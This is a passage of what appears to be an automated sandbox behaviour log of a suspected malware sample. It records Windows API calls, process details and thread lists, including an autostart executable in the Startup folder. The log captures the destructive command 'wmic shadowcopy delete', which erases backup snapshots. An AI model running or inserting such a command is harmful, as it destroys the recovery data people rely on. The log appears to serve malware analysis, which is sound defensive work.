returned 0x1a [0056.179] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0056.179] malloc (_Size=0x30) returned 0x29a993aaae0 [0056.180] FreeThreadedDOMDocument:IUnknown:Release (This=0x29a991094b0) returned 0x1 [0056.180] FreeThreadedDOMDocument:IUnknown:Release (This=0x29a99106f20) returned 0x0 [0056.180] free (_Block=0x29a993ab390) [0056.180] GetCommandLineW () returned="wmic shadowcopy delete" [0056.192] malloc (_Size=0x30) returned 0x29a993aa720 [0056.192] memcpy_s (in: _Destination=0x29a993aa720, _DestinationSize=0x2e, _Source=0x29a9912211c, _SourceSize=0x2e | out: _Destination=0x29a993aa720) returned 0x0 [0056.192] malloc (_Size=0x18) returned 0x29a993ad960 [0056.193] malloc (_Size=0x18) returned 0x29a993ad940 [0056.193] malloc (_Size=0x18) returned 0x29a993adf40 [0056.193] malloc (_Size=0x18) returned 0x29a993add00 [0056.193] malloc (_Size=0x80) returned 0x29a993ab430 [0056.193] GetLocalTime (in: lpSystemTime=0x9e5235f768 | out: lpSystemTime=0x9e5235f768*(wYear=0x7e3, wMonth=0x5, wDayOfWeek=0x5, wDay=0x18, wHour=0x9, wMinute=0x1a, wSecond=0x7, wMilliseconds=0x264)) [0056.193] _vsnwprintf (in: _Buffer=0x29a993ab430, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x9e5235f618 | out: _Buffer="05-24-2019T09:26:07") returned 19 [0056.193] lstrlenW (lpString=" shadowcopy delete") returned 19 [0056.193] malloc (_Size=0x28) returned 0x29a993a6000 [0056.193] lstrlenW (lpString=" shadowcopy delete") returned 19 [0056.193] lstrlenW (lpString=" shadowcopy delete") returned 19 [0056.193] malloc (_Size=0x28) returned 0x29a993ae060 [0056.193] lstrlenW (lpString=" shadowcopy delete") returned 19 [0056.193] lstrlenW (lpString=" shadowcopy delete") returned 19 [0056.193] lstrlenW (lpString=" shadowcopy delete") returned 19 [0056.193] malloc (_Size=0x16) returned 0x29a993adb20 [0056.193] lstrlenW (lpString="shadowcopy") returned 10 [0056.193] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0056.193] malloc (_Size=0x16) returned 0x29a993adf60 [0056.193] malloc (_Size=0x8) returned 0x29a993ae090 [0056.193] free (_Block=0x0) [0056.193] free (_Block=0x29a993adb20) [0056.193] lstrlenW (lpString=" shadowcopy delete") returned 19 [0056.193] malloc (_Size=0xe) returned 0x29a993add40 [0056.193] lstrlenW (lpString="delete") returned 6 [0056.193] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0056.193] malloc (_Size=0xe) returned 0x29a993adc20 [0056.193] malloc (_Size=0x10) returned 0x29a993adf80 [0056.193] memmove_s (in: _Destination=0x29a993adf80, _DestinationSize=0x8, _Source=0x29a993ae090, _SourceSize=0x8 | out: _Destination=0x29a993adf80) returned 0x0 [0056.193] free (_Block=0x29a993ae090) [0056.193] free (_Block=0x0) [0056.193] free (_Block=0x29a993add40) [0056.193] malloc (_Size=0x10) returned 0x29a993ad980 [0056.193] lstrlenW (lpString="QUIT") returned 4 [0056.193] lstrlenW (lpString="shadowcopy") returned 10 [0056.193] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0056.194] lstrlenW (lpString="EXIT") returned 4 [0056.194] lstrlenW (lpString="shadowcopy") returned 10 [0056.194] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0056.194] free (_Block=0x29a993ad980) [0056.194] WbemLocator:IUnknown:AddRef (This=0x29a9913bdf0) returned 0x2 [0056.194] malloc (_Size=0x10) returned 0x29a993adbc0 [0056.194] lstrlenW (lpString="/") returned 1 [0056.194] lstrlenW (lpString="shadowcopy") returned 10 [0056.194] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0056.194] lstrlenW (lpString="-") returned 1 [0056.194] lstrlenW (lpString="shadowcopy") returned 10 [0056.194] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0056.194] lstrlenW (lpString="CLASS") returned 5 [0056.194] lstrlenW (lpString="shadowcopy") returned 10 [0056.194] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0056.194] lstrlenW (lpString="PATH") returned 4 [0056.194] lstrlenW (lpString="shadowcopy") returned 10 [0056.194] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0056.194] lstrlenW (lpString="CONTEXT") returned 7 [0056.194] lstrlenW (lpString="shadowcopy") returned 10 [0056.194] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0056.194] lstrlenW (lpString="shadowcopy") returned 10 [0056.194] malloc (_Size=0x16) returned 0x29a993adda0 [0056.194] lstrlenW (lpString="shadowcopy") returned 10 [0056.194] GetCurrentThreadId () returned 0x9b4 [0056.194] ??0CHString@@QEAA@XZ () returned 0x9e5235f4d0 [0056.194] malloc (_Size=0x18) returned 0x29a993ad8c0 [0056.194] malloc (_Size=0x18) returned 0x29a993adfe0 [0056.194] WbemLocator:IWbemLocator:ConnectServer (This=0x29a9913bdf0, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff6a5e27898) Thread: id = 44 os_tid = 0xd80 Thread: id = 46 os_tid = 0x9fc Thread: id = 47 os_tid = 0xfa8 Thread: id = 48 os_tid = 0x260 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x51a30000" os_pid = "0x3c0" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0xd08" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 53 os_tid = 0xfb4 Thread: id = 54 os_tid = 0xfb8 Thread: id = 55 os_tid = 0x210 Thread: id = 56 os_tid = 0xe3c Thread: id = 57 os_tid = 0xc04 Thread: id = 58 os_tid = 0xfa4 Thread: id = 59 os_tid = 0xf78 Thread: id = 60 os_tid = 0xf0c Thread: id = 61 os_tid = 0x48c Thread: id = 62 os_tid = 0x344 Thread: id = 63 os_tid = 0x2e8 Thread: id = 64 os_tid = 0xd20 Thread: id = 65 os_tid = 0xdf0 Thread: id = 66 os_tid = 0xd40 Thread: id = 67 os_tid = 0xdec Thread: id = 68 os_tid = 0xf04 Thread: id = 69 os_tid = 0xc38 Thread: id = 70 os_tid = 0x668 Thread: id = 71 os_tid = 0xd74 Thread: id = 72 os_tid = 0xa60 Thread: id = 73 os_tid = 0xf60 Thread: id = 74 os_tid = 0x58 Thread: id = 75 os_tid = 0xd14 Thread: id = 76 os_tid = 0xd5c Thread: id = 77 os_tid = 0xd24 Thread: id = 78 os_tid = 0xd3c Thread: id = 79 os_tid = 0x6ac Thread: id = 80 os_tid = 0x68c Thread: id = 81 os_tid = 0x738 Thread: id = 82 os_tid = 0xb60 Thread: id = 83 os_tid = 0xa24 Thread: id = 84 os_tid = 0xa84 Thread: id = 85 os_tid = 0x5cc Thread: id = 86 os_tid = 0x394 Thread: id = 87 os_tid = 0xf20 Thread: id = 88 os_tid = 0xf08 Thread: id = 89 os_tid = 0xec8 Thread: id = 90 os_tid = 0xa50 Thread: id = 91 os_tid = 0xa3c Thread: id = 92 os_tid = 0xa30 Thread: id = 93 os_tid = 0xa18 Thread: id = 94 os_tid = 0x9c4 Thread: id = 95 os_tid = 0x9ac Thread: id = 96 os_tid = 0x9a4 Thread: id = 97 os_tid = 0x9a0 Thread: id = 98 os_tid = 0x99c Thread: id = 99 os_tid = 0x998 Thread: id = 100 os_tid = 0x990 Thread: id = 101 os_tid = 0x988 Thread: id = 102 os_tid = 0x980 Thread: id = 103 os_tid = 0x970 Thread: id = 104 os_tid = 0x96c Thread: id = 105 os_tid = 0x968 Thread: id = 106 os_tid = 0x960 Thread: id = 107 os_tid = 0x954 Thread: id = 108 os_tid = 0x950 Thread: id = 109 os_tid = 0x93c Thread: id = 110 os_tid = 0x938 Thread: id = 111 os_tid = 0x924 Thread: id = 112 os_tid = 0x87c Thread: id = 113 os_tid = 0x80c Thread: id = 114 os_tid = 0x808 Thread: id = 115 os_tid = 0x4dc Thread: id = 116 os_tid = 0x7dc Thread: id = 117 os_tid = 0x7d4 Thread: id = 118 os_tid = 0x7d0 Thread: id = 119 os_tid = 0x7c0 Thread: id = 120 os_tid = 0x730 Thread: id = 121 os_tid = 0x6f0 Thread: id = 122 os_tid = 0x6ec Thread: id = 123 os_tid = 0x664 Thread: id = 124 os_tid = 0x59c Thread: id = 125 os_tid = 0x554 Thread: id = 126 os_tid = 0x4b4 Thread: id = 127 os_tid = 0x44c Thread: id = 128 os_tid = 0x448 Thread: id = 129 os_tid = 0x428 Thread: id = 130 os_tid = 0x418 Thread: id = 131 os_tid = 0x414 Thread: id = 132 os_tid = 0x35c Thread: id = 133 os_tid = 0x340 Thread: id = 134 os_tid = 0x3a0 Thread: id = 135 os_tid = 0x38c Thread: id = 136 os_tid = 0x364 Thread: id = 137 os_tid = 0x248 Thread: id = 138 os_tid = 0x280 Thread: id = 139 os_tid = 0x29c Thread: id = 140 os_tid = 0x188 Thread: id = 141 os_tid = 0x3c4 Thread: id = 144 os_tid = 0x1108 Process: id = "11" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x9e9b000" os_pid = "0xcec" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x3c0" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Process: id = "12" image_name = "ph_exec.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" page_root = "0x72423000" os_pid = "0xda0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 145 os_tid = 0xda4 [0118.791] GetStartupInfoW (in: lpStartupInfo=0x95faec | out: lpStartupInfo=0x95faec*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0118.791] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0118.791] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xb10000 [0118.797] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0118.797] GetProcAddress (hModule=0x759a0000, lpProcName="FlsAlloc") returned 0x759b4ae0 [0118.797] GetProcAddress (hModule=0x759a0000, lpProcName="FlsGetValue") returned 0x759b4b20 [0118.797] GetProcAddress (hModule=0x759a0000, lpProcName="FlsSetValue") returned 0x759b4b40 [0118.797] GetProcAddress (hModule=0x759a0000, lpProcName="FlsFree") returned 0x759b4b00 [0118.798] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x214) returned 0xb105a8 [0118.798] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0118.798] GetCurrentThreadId () returned 0xda4 [0118.798] GetStartupInfoW (in: lpStartupInfo=0x95fa88 | out: lpStartupInfo=0x95fa88*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc071ca, hStdOutput=0xc07503, hStdError=0xb105a8)) [0118.798] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x800) returned 0xb107c8 [0118.798] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0118.798] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0118.798] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0118.799] SetHandleCount (uNumber=0x20) returned 0x20 [0118.799] GetCommandLineA () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe\" " [0118.799] GetEnvironmentStringsW () returned 0xdbf818* [0118.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410 [0118.799] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x582) returned 0xb10fd0 [0118.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0xb10fd0, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410 [0118.799] FreeEnvironmentStringsW (penv=0xdbf818) returned 1 [0118.799] GetLastError () returned 0xcb [0118.799] SetLastError (dwErrCode=0xcb) [0118.799] GetLastError () returned 0xcb [0118.799] SetLastError (dwErrCode=0xcb) [0118.799] GetLastError () returned 0xcb [0118.799] SetLastError (dwErrCode=0xcb) [0118.799] GetACP () returned 0x4e4 [0118.799] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x220) returned 0xb11560 [0118.799] GetLastError () returned 0xcb [0118.799] SetLastError (dwErrCode=0xcb) [0118.799] IsValidCodePage (CodePage=0x4e4) returned 1 [0118.800] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x95fa50 | out: lpCPInfo=0x95fa50) returned 1 [0118.800] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x95f51c | out: lpCPInfo=0x95f51c) returned 1 [0118.800] GetLastError () returned 0xcb [0118.800] SetLastError (dwErrCode=0xcb) [0118.800] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95f930, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.800] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95f930, cbMultiByte=256, lpWideCharStr=0x95f298, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㲊鳇ÀĀ") returned 256 [0118.800] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㲊鳇ÀĀ", cchSrc=256, lpCharType=0x95f530 | out: lpCharType=0x95f530) returned 1 [0118.800] GetLastError () returned 0xcb [0118.800] SetLastError (dwErrCode=0xcb) [0118.800] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95f930, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.800] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95f930, cbMultiByte=256, lpWideCharStr=0x95f268, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÀĀ") returned 256 [0118.800] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÀĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.800] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÀĀ", cchSrc=256, lpDestStr=0x95f058, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0118.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x95f830, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\